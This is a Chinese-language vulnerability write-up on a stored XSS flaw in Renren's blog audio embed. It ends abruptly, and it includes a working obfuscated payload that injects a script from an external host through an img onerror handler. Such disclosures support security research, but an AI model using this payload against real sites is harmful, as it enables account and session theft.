大致流程如下:
1. 首先,我们发表一个正常的日志,添加视频/音频,因为想试试能不能直接调用外部FLASH,因此输入#.mp3进行测试
2. 发布成功后,我们可以看到出现一个MP3播放器。于是在源码里找找我们输出的内容。
3. 搜索xsst(我FLASH文件的网址的特征), 没找到embed标签,但是却定位到了一个img标签,而且我们所输入的内容,放在了img的alt标签。
4. 到这里我们可以大胆猜测。人人的开发人员,肯定是先读取页面里的img标签,然后获取alt属性,最后再 innerHTML="<embed src='"+img.alt+"'.....></embed>" 的方式输出内容。
5. 我们定位到FLASH文件上,不难看到,确实是如此。
6. 既然如此,如果人人的开发人员,在获取alt属性之后,alt属性里的"等会自动转义为"等字符, 如果没有进行二次过滤,就直接innerHTML输出的话,就会导致XSS。
7. 先试下,会“侧漏“不~~~
抓包,字段body从
<p><img title="audio-media" class="audio" src=http://www.2cto.com/uploadfile/2012/0923/20120923103719840.gif" border="0" alt="mp3;#.mp3" /></p>
修改为
<p><img title="audio-media" class="audio" src=http://www.2cto.com/uploadfile/2012/0923/20120923103719840.gif" border="0" alt="mp3;">#.mp3" /></p>
8. 果然从 #.mp3处侧漏啦,有戏~
9. 继续构造利用代码。用俺工具,经过2步转换得到利用代码 (工具地址:?appid=280383) 分享下,不算广告吧= =
步骤一:
步骤二:
得到的利用代码如下:
<p><img title="audio-media" class="audio" src=http://www.2cto.com/uploadfile/2012/0923/20120923103719840.gif" border="0" alt="mp3;"><img/src=1 onerror=(function(){window.s=document.createElement(String.fromCharCode(115,99,114,105,112,116));window.s.src=String.fromCharCode(104,116,116,112,58,47,47,120,115,115,116,46,115,105,110,97,97,112,112,46,99,111,109,47,110,111,46,106,115);document.body.appendChild(window.s)})()>#.mp3" /></p>
10. 可是意外出现啦,看来人人网在服务器上还做了某些判断,俺的代码出发了它们的过滤规则,有以下提示信息。
11. 但是这个阻碍不了我们前进的步伐,既然如此,那我们就换个方式,直接用flash来,构造以下利用代码。